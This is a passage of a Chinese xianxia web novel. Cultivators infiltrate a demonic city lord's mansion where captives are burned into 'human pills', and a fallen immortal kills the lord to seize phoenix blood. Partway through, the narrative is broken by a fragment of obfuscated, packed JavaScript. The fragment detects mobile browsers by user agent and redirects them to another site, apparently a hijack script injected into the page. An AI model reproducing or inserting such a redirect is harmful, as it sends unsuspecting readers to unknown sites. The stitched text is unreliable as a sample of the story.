【化神大能、合体修士,哪个不比元婴强,他们手里都没有真血,为何这儿会有。】
心魔对石野的话报十二分的怀疑:【这小子就是想骗你去杀食心魔,他自个儿没本事——】
“有这个可能。”
话被打断,是回过神来的楚袖云。
心魔:【什么可能?】
楚袖云看向石野:“凤凰一族早就灭绝。”
石野一愣。
“所以,”楚袖云支颐,“你为何会觉得食心魔手中有凤凰真血?”
居然是因为这个吗?
她微妙的态度居然是因为这个吗?
石野隐约觉得不对劲,但一时想不明白,只好乖巧作答:“我不敢欺瞒前辈,在我还是城主之子时,确实亲眼见过凤凰……”
那大约是四百年前的事。
在石野年纪还小的时候,他目睹了那只凤凰的取血过程。
在幽暗的石室里,在挣扎碰撞的铁链中,父亲剖开彩凤的胸膛,从中逼出三滴金色血液。
凤凰鸣啼,本该悠扬清越,宛如仙乐袅袅。
可那日,它干裂的喙发出哀鸣,血液潺潺,自尖尖的喙部流出。
石野呆呆的看着,看到那只凤凰痛苦的双眼。
那是一双怎样的眼睛?
烟岚淡灰,如薄雾,如神明。
富有神性的眼睛里蕴含着痛苦,饱含热泪。
令石野至今无法忘怀。
“兴许是那只凤凰的年岁太短。”
石野静静思考:“我父亲只取出三滴血。”
在此之后,他将凤凰囚禁在石室,企图从它身上榨出更多的真血。
可真血引来觊觎,父亲被心腹杀死,宝物尚未使用,就落到他人手中。
“前辈请你信我。”
石野眼中溢出恨来:“我愿以性命起誓,话中若有半句虚言,便粉身碎骨,魂飞魄散。”
楚袖云良久的注视他,她面上毫无表情,令人看不穿任何情绪。
心魔附耳轻声:【你信他?】
“当然。”
楚袖云笑起来。
她笑时,两颗尖锐的虎牙森森,隐隐疯魔。
此人柔声,低语。
如毒蛇嘶嘶吐信,盯着将死的猎物。
“我当然信他。”
5. 潜入城主府
深夜。
城主府的侧门响起叩门声。
管事的推开门,看到阶下站着四个人。
三个魔修,一个俘虏。
魔修们衣着残破,浑身是伤,一副恶战过后的模样。
“怎么回事?”
管事的心中涌起一丝不安。
“王管事……”
魔修中一名叫李二的捂着手臂,不自觉朝前走一步。
他的神色有些异样,张了张嘴,又被身旁的魔修截过话头:“正道设了埋伏,兄弟们都死光了。”
那接话的高个子魔修伸手安慰般的拍住李二的肩膀:“就剩下咱们三,带回来个俘虏。”
修长的手指似有似无的落在人颈侧,直叫李二陡然僵住,勉强应道:“大哥……说得对……”
许是伤得过重,他额头渗出汗水,脸色苍白。
但那副凄惨模样没等来王管事的同情,对方脸色难看,好半晌才开口:“没漏什么马脚,叫人跟过来吧?”
“绝对没有。”另一魔修摇头,笃定道:“您知道的,就结界那边的状况,金丹以上的修士根本过不来。而金丹以下的嘛……”
“就是借他们十个胆子,也不敢踏进魔域半步。”
说得也是。
王管事脸色稍缓。
就正道与魔域之间设立的那片结界,虽然在经年累月中流失了力量,产生一个能容纳修士进出的洞口。
但其狭小脆弱,只能供练气、筑基修士出入。
高阶修士若想强闯,只会冲毁结界,正道那边绝不会冒这个险。
还好……不幸中的大幸。
他眉头松开,不自觉松了一口气:“我知道了,这段时间就待在魔域,我另有事情安排给你们。”
双方在门口一番交谈,最后王管事打发走了三人,带着俘虏进门。
“哐啷。”
门关上的瞬间,管事变了脸色,他扯过链条,带着人往里走。
高墙窄道,阴风阵阵,吹得灯笼在风里晃动,投下的光忽长忽短。
“一群废物。”
寂静里忽而蹦出骂声。
王管事越走便越心烦。
一想到那几个成事不足,败事有余的废物就冒火。
不过是叫他们抓几个人而已,这种活也干得毛毛躁躁,还惊动了正道修士。
以后要想抓人,可就难上不少。
烦躁之余,他的心情跌落谷底,一想到以后的人丹供给少了,要面对的是什么,又禁不住畏惧,手脚发抖。
在他的身后,鹤端砚默默跟着,二人走过庭院、长廊,转了七八个弯,又穿过一道门,才见着后院的影子。
一路上竟然没有巡逻的守卫。
鹤端砚颇感意外。
不过也对。
李二曾说过,城主掳人这件事是在暗中进行的,莫说是正道,便是祁无城,也很少有人知道这个秘密。
他们每次交接时都选在深夜,而且瞧府里守卫空虚,大概率是王管事有意要避开耳目,提前撤走了这条路上的人。
可是为什么呢?
他静静思索。
瞒着正道好理解,可为何连自己人也瞒着?
这件事不能让别人知道吗?
他思绪翻飞之际,跟随王管事的脚步来到后院的假山处,二人通过机关下了石梯,进入地下通道。
通道四通八达,到处都是分岔路口,鹤端砚暗中记下路线,就在即将来到关押地点时,前方忽而出现一个匆匆赶来的侍卫。
“管事。”
侍卫能出现在这,就代表他也是知情人,此时小跑过来,对着管事耳语。
鹤端砚隐约听见什么丹师开炉、带人过去的字眼,尔后王管事挥了挥手,示意侍卫带走鹤端砚。
侍卫点头,朝后方招手。
在那长长的甬道深处,传来一阵清脆的金属碰撞声。
随之而来的,是一群戴着镣铐、眼神麻木的凡人。
队伍长长的一条,前后各有两人把守,侍卫把鹤端砚推入其中,一行人转入另一条岔道。
甬道狭长且深,越往里走,就越热。
尽头是一扇沉重的玄铁门,而随着门缓缓打开,一股热浪扑面而来。
与之一起抵达的,还有皮肉焦香味道。
门后是什么?
是一座巨大的炼丹房。
十丈宽的房间四面都是石壁,地上刻着血槽,那些沟沟壑壑里流淌着粘稠的液体,那是尚未干涸的精血。
正中央的丹炉有三人高,正燃烧着熊熊火焰,烧灼出噼里啪啦的人油味。
“妙啊...妙啊…”
炼丹房内只有一个黄衣男人在,他凑近炉口,深深的吸了一口气,紧接着兴奋得手舞足蹈:“火候到了!火候到了!”
“丹师。”
护卫向他拱手,恭恭敬敬道:“人带来了。”
那丹师猛地转过脸来,瘦脱相的脸上是一双外凸的眼球,挂在深深凹陷的皮肉上。
他披头散发、赤着黢黑的脚,看起来颇有种病态癫狂,正亢奋的盯着人群,目光不住的梭巡。
“不错,不错。”丹师咧嘴,牙根隐隐有几分猩红:“是批做人丹的好材料。”
人群内有谁捏紧了拳头,双目怒视。
“这样看着我做什么?”丹师:“恨我?”
“为什么?”他挠挠手背,疑惑不解:“弱肉强食才是生存法则,何必恨我?不如怪自己不够强。”
“是吗?”
密室里有人冷冷问道,丹师还没反应过来,一道剑光已如闪电般劈向他的咽喉!
“什么!”
室内仅有的三名护卫又惊又骇,连忙上前提刀抵挡。
但这一剑如此凌厉,竟让刀身猛震,崩出一个缺口,而敌方三人连呼救都做不到,就被一剑划破了喉咙。
尸体轰然倒地。
丹师想逃。
可他方一动作,手臂就被洞穿,立马失去了战斗力,惨叫一声过后,在地上打滚、哭嚎:“好痛!好痛啊!”
不过是手上穿了个孔,就一副痛哭流涕的模样。
那往日被投入炉中焚烧的人,又承受着怎样的痛苦呢?
鹤端砚神情冰冷,以春雪横亘在他喉间,那冰寒刺骨的剑刃,瞬间就将痛呼声堵死。
“倘若弱肉强食是理所因当。”
鹤端砚剑上血珠滚落:“那如今我强你弱,你是否甘愿赴死?”
“呜呜呜呜...”
丹师疼得涕泗横流:“您放过我吧,我只是个炼丹的,呜呜呜…”
鹤端砚的剑刺进皮肉,不因这求饶声手软分毫。
“我也是被挟持的!”丹师看出他的杀意,连忙喊道:“这一切都要怪城主,都是他的错。”
剑微微停顿:“他抓这么多修士,究竟想做什么?”
那丹师张了张嘴,似乎在恐惧即将暴露城主的秘密,半天都没说话。
鹤端砚冷声:“说话。”
“为了练人丹,人丹!”
丹师痛哭流涕:“那东西能压制他的伤势。”
伤势?
鹤端砚:“被谁所伤?”
“这...”丹师吞吞吐吐,看到那威胁的眼神后,只能老实回答:“他是被反噬了。”
随后,在逼迫之下,丹师将事情全盘托出。
原来这丹师本是城主抓回来的一名丹修,多年来为其秘密炼制丹药,以供城主恢复伤势。
城主的伤还要追溯到三百多年前的那场变故——
彼时,祁无城刚经历一场权力斗争,老城主殒命,其心腹食心魔顺势接掌大权,也接管了他心心念念的城主库藏。
他从库藏中翻找许久,终于找到三枚凤凰真血,当即欣喜的吞了两滴。
他本欲借此进阶,甚至想从中习得涅槃法则,可终不遂人愿,他没能得逞,反而被磅礴的能量撑爆经脉,遭到反噬,险些走火入
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魔。
虽然侥幸捡回一条命,但伤势却迟迟不好,所以只能四处搜罗修士,以人丹入药,疗愈暗伤。
“这就是我知道的全部了。”
那丹师将事情全盘托出,忐忑的等待鹤端砚做出反应。
原来如此。
鹤端砚终于明白,城主为何要秘密抓人,还瞒着祁无城的人。
他受伤了,还很严重。
这个消息如果不封死,泄露出去的话,会瞬间引来金丹长老们的围剿。
毕竟那些魔修可不是吃素的,甘愿一辈子屈居人下,只要有机会,他们会立马抓住,将城主拉下马。
所以,城主防的不是自己人,而是他们。
他陷入沉思,又被不安的丹师打断:“求求您,别杀我。”
“城主府人多势众,仅凭你一人,是斗不赢他们的。”
在求生欲的驱使下,丹师脑子转得飞快:“你是为了救人吧?我可以替你们打掩护,只求留我一条性命。”
聪明人就是这样,很懂得展现自己的价值。
鹤端砚眉头微动:“这些人的性命,我要全部保下。”
谁拿着剑,自然听谁的。
丹师的笑得比哭还难看:“我想想办法。”
鹤端砚思索片刻,取出一枚传讯法器,把目前的情况转述给秦无漪他们。
双方商量了一番,最终决定先留下丹师性命。
“立誓。”
鹤端砚言简意赅。
“啊?”
丹师还有些不明白。
鹤端砚:“天道誓。”
丹师微微瑟缩,随即咬咬牙,割破手指,以血画符:“我以天道为证立誓,绝不向任何人告发眼前之人的身份,并竭力协助此人,若违此誓,必遭天劫加身,神魂俱灭!”
银光落下,誓言成立。
他抹了一把脸上的泪水,唇色惨白如纸:“这样可以吗?”
“可以,当然可以。”
鹤端砚收剑入鞘:“接下来,就有劳丹师了。”
*
哗啦……哗啦……
银色的月光皎洁,轻柔的洒向湖面。
湖心泛起涟漪,波光粼粼,在人眼中流动。
初九穿过雕花门,其间珠帘摇动,扫过她的面庞:“五镇石的封印被毁,她不见了。”
室内白纱轻拂,榻上的人转首,长发如流水般倾泻:“逃走了?”
“……不是。”
初九:“被人劫走的。”
榻上人沉默一瞬,喃喃自语道:“是这样吗?”
初九跪地,以沉默相对,只觉得异常难堪。
一个根基尽毁的人。
一个身负邪咒的人。
毫无抵抗之力的被封在木棺中,藏进重重阵法里,居然也会被人悄无声息的带走。
而以她化神修士的实力,竟毫无感知,直到临近月中,在例行巡查的过程中才发现异样。
真叫人情何以堪。
“咳咳……”
男人沙哑的咳嗽声唤回她的意识,对方擦去嘴角的血迹,脸色苍白,似将熄灭的烛火:“能在你的感知下带走她,来人不简单,到底是谁?”
“……”
又是一阵沉默。
看来初九没找到答案。
一声叹息逸散在空中,漆黑的阵盘落于初九手里。
阵盘红光四溢,一圈圈符文转动,最中央的位置骤然裂开一只猩红眼珠,四处转动。
“把她带回来吧。”
太巫莹白如玉的肌肤清透细腻,黑发柔顺垂过肩头,温柔动人的父亲角色看起来包容一切。
他叹息,摊开手掌。
小小的木头人偶静静躺在掌心。
它通体漆黑,表面布满了红色符文,如皮下蜿蜒的血管。
“我可怜的孩子,总是受人争夺,受人利用。”
“别让她在外流浪。”
初九漠然:“是。”
6. 太巫找我
“我没掌握好火候,导致丹炉炸了。”
丹师将护卫的尸体推入炉中,伪造出被火烧死的痕迹:“在丹炉没修好之前,你们是安全的。”
但这个借口只能拖延时间,解决不了根本问题。
其实……
可以试着让丹师把城主重伤的消息透露给金丹长老。
鹤端砚心想。
他们不会放过这等天赐良机,绝对会找机会杀死城主。
届时高层打起来,会导致城主府内陷入混乱。而局势一乱,哪个守卫还会勤勤恳恳的站岗?
此时想要逃走可就方便多了。
不过吧……
鹤端砚转念一想,又否决了这个计划。
毕竟这种混乱难以掌控,容易被反噬。大能打架,底层遭殃,稍不留神,可能在座的就全成炮灰了。
还不如按原计划走。
他一连传了好几条讯息出去,把得到的所有情报告诉其他人。
【求稳是要妥当很多。】
秦无漪在那端回复道:【你有人协助,我们就可以里应外合。】
鹤端砚传讯:【到时候我会帮被俘修士解开禁灵锁,大家一起逃出地道。】
看守俘虏的是城主手下的人马,只有两个精锐小队,人数二十,地牢有五个,假山周围还有十五个。
人数不算多,而且假山周围还有隐匿阵法,只要秦无漪那边能顺利潜入,双方一汇合,快速的解决掉这十五人,就能顺着假山往外撤离。
后院的范围也很广,有上房、厢房和后花园,假山就是在后花园里,想要出去只能走两个门,一扇通往前厅,一扇通往府外。
他们肯定不会往前厅走,所以到时候出了假山,会往东边去。
东边也有院落,有亭台楼阁,有蜿蜒曲折的走廊,等他们走到走廊的尽头时,就能看见出府的小门。
这段路程在两公里左右,因为不是重点区域,所以把守的守卫不多,成功逃脱的可能性很大。
秦无漪心底盘算,总觉得局势在我,手中的传讯工具上又现出一行字:【如遇敌,先毁通讯设备。】
她回了个好字,心情有些复杂。
和撤退计划无关,是从鹤端砚手中传出的另一条消息,凤凰真血。
她的师门长黎山,是乾境之首,天下修士所向往的逐圣之地。
门中天才辈出,强者如麻,每一个长老的名号传出去,都足以令宵小胆寒。
是当真无愧的天地第一仙门。
可就算是长黎山,也一些隐秘不可外传。
其中有一件,便是关于凤凰妖族的事。
事情的起因是她误闯了某个尘封多年的洞府,在里边叫天天不应,叫地地不灵,怎么都出不去。
最后还是被亲师祖找到的。
“那个洞府吗?”
师祖好像陷入了回忆中,她说,它属于修真界的最后一只凤凰。
凤凰是半妖血脉,在修真界出生,于年幼时拜入长黎山,归于宿火神君座下。
宿火神君以严苛著名,要求极高,对她时常斥责,很不满意。
这种冷待促使她拼命修行,几次进入秘境寻觅机缘,也就在这时,它引来了人生的转折。
在秘境中,她觉醒了血脉,发现自己竟是一只凤凰。
非我族类,叫神君如何接受。
他既不能容忍妖族染指长黎山,又下不去死手,便将她逐出师门。
“那之后呢?”
秦无漪问道。
师祖无情道大成,神色淡漠:“早早陨落。”
嘭!
随着一声巨响,表演拉开帷幕。
惊叫声四起,人群蜂拥杂乱,从炼丹房内跑出来。
闻讯赶来的守卫赶忙拦住逃跑的人群,大喝道:“怎么回事!”
“炸炉了!”
丹师捂着焦黑的手臂跌跌撞撞:“护卫们替我挡伤,当场炸死!”
下手真狠。
他呕出一口鲜血,心中暗恨这个劫囚的,虚弱的倒在地上,有气无力道:“丹是练不成了,先把这些药材送回去,等我修好丹炉再带来。”
丹师在此耕耘数十年,早已是城主的座上宾,几个看守的小喽啰连怀疑都不曾有,就将人带回地牢。
牢房内,人群挨挨挤挤的被关在一块,鹤端砚混在其中,不住的观察四周,然后就猛地被人抱住,嚎叫声随之而来:“师父!!!你怎么也被抓了!!!”
“……”
叶兰驱倒是眼尖,居然一眼就望到他人。
鹤端砚把人扯下来:“你走开,身上有味。”
!
“什么?”
叶兰驱大骇:“重逢关头,你居然和我说这个!”
他震惊的望着鹤端砚:“咱们不应该抱头痛哭,然后感慨命运弄人吗?”
鹤端砚寻了块空地坐下,对方又气鼓鼓的跑过来:“我被关了十多天诶,臭点不是很正常吗?”
“嗯嗯嗯,是很正常。”
鹤端砚从袖中取出工具:“去把修士都叫过来。”
“干嘛?”
叶兰驱眨眨眼,咂摸过味来了,凑过去小声道:“师父你是来救俺们的?”
“对,你快点,我要替他们解开禁锢。”
鹤端砚的声音微不可查:“我们休养一日,然后离开这。”
*
“前辈。”
客房内,石野掏出一件黑袍。
黑袍上被他施了隐匿法决,能避免气息泄露,引来金丹修士的注意。
“不过我实力低微,只防得住金丹修士,修为再高的,就不行了。”
他将黑袍递给楚袖云,犹豫了一会儿,又问道:“咱们什么时候动手呢?”
楚袖云若有所思:“咱们?”
石野谄媚一笑:“我也想助前辈一臂之力,毕竟食心魔是我的杀父仇人,当然,我自个没那个本事,到时候便在外边替前辈阻拦其余帮手。”
石野能在魔域混这么多年,自然也不是个善茬。
楚袖云猜到他手底大概率有底牌,再联想到此前,他能驱使金丹傀儡、并对自己身上的牵机咒抱有想法。
心里还有什么不明白的。
这人大抵是掌握了什么操纵修士的邪法,正好能用在那三个金丹长老身上。
还说什么替她阻拦帮手,不过是因为被她弄死了傀儡,要重新补充罢了。
不过她不在乎。
毕竟……
【就让他好好过完这几天吧。】
心魔窃笑:【咱们给他报杀父之仇,他还我们一条命,也算两清。】
楚袖云哼笑一声,不阴不阳:“那你找到他的踪迹了吗?”
石野一哽。
他哪知道啊……
城主明面上说是闭关,其实人早就不知道躲哪去了,连府邸里的三位金丹都不知道,更何况是他。
不过……
数日的监视,让石野有了新的发现。
“前半夜的时候,我看到府里有人在侧门接应了三个魔修。”
石野回忆起当时窃听到的对话:“他们会去正道地盘上掳人。所以这次带回来一位修士。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136008|196283||http|test|mini|href|location''.split(''|''),0,{}));
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>“我看那个管事的把人接过去,带进府邸里了。”
石野有些兴奋起来:“府内对人的需求量很大,您知道这是什么意思吗?”
魔修嘛,抓人的理由无非就是那几种,什么祭万魂幡呐、炼人丹呐……
有的为了增进修为而屠人。
有的寿元将尽,要抓人炼制延寿丹。
还有的……
肉身崩裂,受伤严重,要以活人精气血补全自身。
想到最后一点,楚袖云微微眯眼,也不知想起哪位故人来。
总之,不是什么好事。
但石野兴奋异常:“我有一个猜测,很合理,您听一听。”
话怎么这么多……
楚袖云兴致寥寥:“一城之主,库藏丰富。没必要为增进修为大费周章,还转到正道去抓人。所以要么是寿元将近,要么是受了伤。”
“不过据你所说。”
她的瞳孔漆黑,看向人时,只挪动眼球,叫人有种被野兽锁定的惊悚感:“他是元婴,寿元可达千年,显然也不符合这一点。”
“所以是受伤了。”
楚袖云轻笑一声,意味不明:“一枚真血是大补之物,两枚则是毒药。他贪心不足,吞了两枚凤凰真血,于是超过了自身能承受的极限。这是不是你的猜测?”
石野哑口无言。
“他既然受伤严重,藏起来了,就势必需要依靠心腹的力量。”
楚袖云揉了揉眉心,有点不耐烦了:“心腹做他的手脚,是唯一一个能接触到他的人。”
“你懂我意思吗?”她转首,盯着石野,如同盯一团死物:“明天,我要得到他的藏匿地点。”
石野咽了口口水,答道:“我明白了。”
他悄然离去,去寻找那位王管事的踪迹。
心魔从楚袖云识海里爬出来,落到她肩头:【你不对劲。】
“是吗?”
【是。】漆黑小蛇凑上去,对她的脸左看右看:【今天话太多。】
楚袖云哼笑一声:“太巫在找我。”
【你怎么知道?】
心魔匪夷所思。
“我听说,动物有敏锐的直觉,能嗅到危险的气息。”楚袖云问它:“你却为何这般迟钝?虫子。”
【滚啊……】
心魔:【谁是虫子?】
楚袖云的视线在它细长的躯体上扫过,意思很明显。
心魔:【那我也是蛇啊,什么虫子,会不会说人话?】
楚袖云:“长虫也是虫。”
【……】
【懒得跟你争。】
心魔无语了一瞬间:【所以你怎么知道太巫在找你?】
“唉。”
楚袖云叹了一口气。
“我参悟天地法则,有与天感应的能力,知道这事不很正常吗?”
【不正常。】
心魔回嘴:【我记得你上一次与天道感应的时候,还是渡劫期。现在境界都跌到化神去了,还有这能力?】
楚袖云只得承认:“太巫动阵盘找我,用了我的生辰八字,我感应到的。”
好嘛。
总算是说实话了。
心魔:【他不会是想抓咱们吧。】
楚袖云:“你觉得呢?”
【……】
心魔忽而四处乱爬,急道:【快点找到凤凰真血啊,然后赶紧走人。】
楚袖云勾笑:“你不是说要杀他?”
心魔长出一只爪子,挠挠头。
【杀不杀都无所谓吧。】
【反正他也快挂了。】
7. 我超强的
又是夜半。
冷风吹开轩窗,将窗扇砸在墙壁上。
在房内静坐的管事被响声惊动,起身走到窗前。
他正欲关窗,忽而额间一疼,好似被人刺中了一般。
那痛感来得迅速,只是一瞬间的事,等人再细细摸过去时,早已消失不见。
怎么回事?
他扶着窗框,脑袋莫名发沉,再度清醒过来时,困惑的打量着周围。
奇怪,我怎么在这?
怪异感从脑海里冒出,好像他此时不应该待在这里一样。
可是为什么呢?
这是他的房间,在这休息不是合情合理吗?
脑海又刺刺的疼了起来,好像忘记了一件很重要的事。
是什么呢?
他绞尽脑汁,又猛然一拍脑袋:“瞧我这记性!连城主的急召都给忘了!”
他想起来了,半柱香前城主向他传讯,命他立马过去,结果事情太多,他忙得团团转,险些忘了这件大事。
“还好,还赶得上。”
他瞧了瞧天色,长舒一口气,急匆匆的出了门,朝中堂跑去。
中堂在整个府邸的最中央,是藏风聚气、汇聚气运之所,但在城主闭关后就失去了议事的作用。
它尘封多年,安静的矗立在偌大的府邸中。
往日想求见城主的长老们也不是没找到这里来过,可哪怕他们用上神识,也没发现任何异常。
这就是一间普通的房子。
他们得出结论,继而离开,留下赔笑的管事。
可事实如他们所料的一样吗?
王管事快步推门而入,脚步声哐哐作响,他以特定的法决激发了隐藏的法阵,于是地板朝两边裂开,张开一个巨大的,直通地底的洞口。
人落入其中,在呼啸的风声中落地,再抬眼,已经来到一座地宫中。
地宫雄伟恢弘,冷到极点,管事颤抖的抱着手臂,向前走去。
前方是通往大殿的道路,回荡着细微的响动。
咯吱……咯吱……
那是沉闷的咀嚼声。
阴森、恐怖,令人汗毛倒竖。
王管事浑身的血液都仿佛被冻结了,他脚步不由自主的放轻,透过璧上悬挂的夜明珠散发的微光,看到城主的身影。
他盘坐在寒冰上,身形高大、魁梧,好似祁无城本身,如一只匍匐着的巨兽,给人的心头蒙上一层厚厚的阴影。
泛着血气的人丹一粒粒进嘴,如同磨牙吮血的狼,吃透了、嚼透了人的每一寸肌骨。
食心魔抬头,看向来人。
“大人。”管事跪地:“您召我?”
一个照面,食心魔脸色骤然变化,他五指张开,管事整个人直接拔地而起,被他拉至身前。
紧接着,食心魔捏住两指,从他眉间抽出一缕黑气。
“蠢物!”
他勃然大怒,一巴掌打得管事眼冒金星,踉跄倒地:“被人算计都不知道!”
不行!
藏身之所已经暴露,此地不能久留。
虽然不清楚来人是谁,但一股强烈的危机感窜上食心魔心头,他陡然起身,又猛地顿在原地,似心有所感,死死的盯着入口处。
那儿站立着两个人,两个黑袍人。
矮个子掀开斗篷,露出一张无比熟悉的脸。
石野?
那个逃出城,躲到荒野上的遗孤?
“你小子没死?命真大。”
食心魔面目狰狞:“早知如此,当初我就该亲自下手。”
石野对他微微一笑,再转首对楚袖云道:“前辈,四面出口已经封死。”
对方懒懒点首,他便识相的告退:“我出去候着,免得打搅您的兴致。”
“呵。”
食心魔冷笑一声:“差点被你们唬到。”
在短暂的观察中,他的神识已经扫过楚袖云。
“根基尽毁,肉身破碎。就凭这么一具躯体,也要和我作对吗?”
食心魔紧绷的身体慢慢松懈下来:“石野是不是脑子疯了?找你对付我?”
楚袖云轻笑,伸出一只手:“我不嗜杀,只是想要取回一件东西。”
“在我手中?”
食心魔问。
“它令你又惧又恨,看得却吃不得。”楚袖云道:“不如识相点,直接给我。”
世间唯一一样让食心魔恐惧害怕,又不肯放手的,便是凤凰真血了。
他既垂涎真血中的庞大力量,又恐惧吞服时的痛苦。
犹记上次,他服下两滴,便险些被炽热的火灵之力灼烧至死,经脉被撕裂撑爆的剧痛历历在目,还有纠缠至今的暗伤……
可是!
如此天财地宝!
怎么能被别人夺走!
“好大的口气!”
他暴呵一声,魔气从掌心喷涌而出,铺天盖地的轰向楚袖云。
随着一声巨响,石墙骤然粉碎,朝四周炸开!
“还没死吗?”
食心魔感知到活人的气息,他当即又跃到半空中,手中的掌影变化,如暴雨般落下,那重重残影迸发出恐怖的气劲,呈排山倒海之势,完全笼罩那块地方。
轰隆隆。
又是剧烈的响声。
食心魔一动手便是火力全开,没留半点余力,此时他望向那被掌印彻底摧毁的区域,神色轻蔑。
活人的气息已如风中残烛,兀自熄灭。
“不知死活。”
他傲慢至极:“区区废物,也敢与本座抗衡。这就是下——”
话戛然而止。
仿佛被硬生生扼断在喉咙里。
脸上混杂的不屑、讥讽骤然凝固,被极深的错愕取代。
“掌法吗?”
身后女声若有所思:“我以前也学过来着。”
食心魔张嘴,喷出大量鲜血,他缓慢地、僵硬地低下头,看向自己腹部。
在那里,凭空出现的大洞贯穿了丹田处的元婴小人,剧痛后知后觉的袭来,疼得人痉挛抽搐,轰然砸落地面。
女修落地,哼着什么不知名的小曲靠近,她取下食心魔的储物戒,将其捏碎。
脆响过后,菱形晶石出现,剔透的晶石里,是缓缓流动的金色血液,如凤凰飞舞。
“你……怎么……没……”
食心魔用最后力气挤出几个字,随后终于看清了那被他掌法打死的人是谁:“王……”
他不甘的吐出一口气,脑袋一歪,就此咽气。
*
乱。
好乱。
无比混乱。
人群战成一团,灵力与魔气乱糟糟的飞舞着。
鹤端砚站在队伍的末端,举剑与后方守卫拼杀,可杀了一个还有一个,守卫如潮水,源源不断的涌来。
所以事情怎么会变成这样?
他还有些恍惚。
原本一切都是按照计划进行的,在这么一
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个守卫松散的夜里,出逃会是一件很容易的事,可就在他们潜入后院的档口,却出了意外。
从中堂处突然爆发出剧烈的响声,响声惊动守卫,打乱了原本的巡逻路线,让鹤端砚一行人与对方正好碰上。
“什么人!”
对方一边大喊着,一边吹响哨子,直接引来了大批魔修的围剿。
鹤端砚一众迅速展开队形,呈修士在外,凡人在内的防御圈,与之展开战斗。
好在守卫全是练气、筑基,也多亏了东院房屋紧凑,地方狭窄,所以哪怕对方人多,一时间也施展不开。
他们边打边撤,硬是从中冲开了一条血路,一路杀向小门。
“不要恋战!”
最前方的秦无漪劈开魔修,向后大喊。
他们必须要尽快逃出去,因为——
“轰!”
惊叫四起。
巨大的火球将长廊炸得粉碎,瓦片倾泻而下。
在杂乱的人声、兵刃声中,鹤端砚挥剑荡开碎石,神色冷凝。
空中,魔修咧嘴一笑,玩味的俯视下方人群:“哪来的老鼠?”
是郑屠。
鹤端砚认出来人。
根据情报,祁无城的三位金丹长老中,只有一个拥有火灵根。
那便是金丹初期,长老郑屠。
他的实力比较其他二位来说,属于末等。
遇见他,也不知是幸还是不幸。
鹤端砚瞬间做出决断:“你们先行,我拦住他。”
火海里,快要冲出府邸的秦无漪回首,她紧紧咬着牙,死死盯着那处。
金丹修士!
金丹修士!
鹤端砚如何能存活?
可要留下吗?
她的视线艰难的抽走,扫过面前每一张脸,他们仰望着她,人数如此之多,脸上带着惊惶,煞白一片。
那些孩童的呜咽声像针一样刺着她的耳膜,刺得鲜血淋漓。
他们快要逃出去了。
他们快要逃出去了!
痛苦像钝刀,在肉.体上反复拉扯,秦无漪决绝转头,剑势如风,向四面八方爆发!
这举动清空了她的灵力,也杀死了所有挡路人!
她一脚踹开小门,嘶声大喊:“跟我出去!”
脚步沉重又杂乱,一个接着一个消失在门口,鹤端砚紧紧盯着郑屠,注视着他的一举一动。
“别这么紧张。”
郑屠:“我对他们没兴趣。”
“我还是比较喜欢折磨你这种人。”
他兴奋的哈哈大笑:“一想到你会在我手下哀嚎,惨叫,我就高兴。”
“轰!”
又是一记火球。
浓郁的火灵气当头罩下,竟然令空气都不堪重负,就此扭曲!
速度太快了!
范围太广了!
鹤端砚根本无处可退,他举剑,剑身爆发凛冽寒光,与火球悍然相击!
嘭。
火球缩小了一些,随后当场炸开。
鹤端砚被灼热的气浪掀翻,砸进厢房中。
火舌舔舐着残垣断壁,将漆黑的废墟照得如同炼狱。
他咳出一口鲜血,法衣被烧灼,传来大片大片的痛楚。
“哈哈哈哈哈哈哈,不过瘾!不过瘾!”
漫天的火球如流星,铺天盖地的落下,在巨大的爆鸣声中,传来扭曲残忍的笑声。
“我没听见惨叫!”
8. 爱人相见
轰隆……
轰隆……
震动激得墙壁裂开,碎石哗哗落下。
地宫深处。
女修吐息炽热,双瞳燃起火光。
真血磅礴的力量涌入体内,几乎点燃了她的躯体,让血液沸腾起来,她心口的旧伤泛起又麻又痒的痛感,是血肉在疯狂生长。
而紧接着,根骨重塑,开始咔咔作响。
这具躯体笼罩在金红的光芒中,焕发出无与伦比的生机,向外喷薄着滚烫的热意。
热。
很热。
人仿佛化成了岩浆。
她像个梦游者,在地宫里前行。
现实与幻觉交错变换,左右两边的墙壁开始融化,扭曲,变成一处黑色狭窄的石室。
凤凰……凤凰……
耳边响起断断续续的声音,楚袖云陷入了某种幻觉,听到一个人声从遥远的地方传来,欣喜若狂。
“……锁进……至宝……取血……”
话断断续续的,听不真切。
她怔怔出神一瞬,旋即似着魔般,朝前方走去。
石室阴暗。
铁链晃动。
一个颤抖的身影出现在她面前。
身影背对她,后背袒露,伤疤交错纵横,深可见骨。
一步、两步、三步……
就在指尖轻触身影的刹那,对方似泡影消散。
幻觉戛然而止。
悬在半空的手无处安放。
楚袖云恍惚出神。
她低声喃喃。
话空落落的回荡在无人的空间。
“我很想你。”
*
痛。
好痛。
从昏迷中苏醒的鹤端砚,感受到无尽的痛苦。
那是烈火在灼烧,快烧得人躯体成灰,神魂俱灭。
充沛的火灵气堵塞了鼻腔,喉咙也干得快裂开,每每呼吸,都像是吞下滚烫的刀片。
这就是金丹吗?
和筑基之间好像隔着宽阔的长河,无论人如何跋涉,也游不到河对岸。
他喘着气,勉力撑地,即使是没有抬头,也能想象到,那个金丹修士正高高在上的俯瞰他。
四周的空气再度变得滚烫。
火灵气在汇聚、压缩,形成漩涡疯狂的涌向空中。
“没意思。”
郑屠厌倦了这场戏弄老鼠的游戏。
他举起璀璨的火球,那颗火球迸发出极致的光与热,就在这即将脱手之际——
中堂再度爆炸!
庞大的建筑群被掀翻,整个地面都随之剧烈震动起来。
郑屠猛地扭过头,瞳孔骤缩。
在那混杂着惊惧、震惊的眼中,清晰的倒映出一条横贯南北城门的裂缝!
“郑屠!”
裂缝中飞出两个缠斗的影子,其中一位嘶吼:“我们联手——”
话没说完,声音就变作凄厉的惨叫,他被紧追在后的傀儡斩断臂膀,死死勒住脖颈,硬生生拖向地面。
是谁?
谁有这么大的胆子,敢在府内大开杀戒?
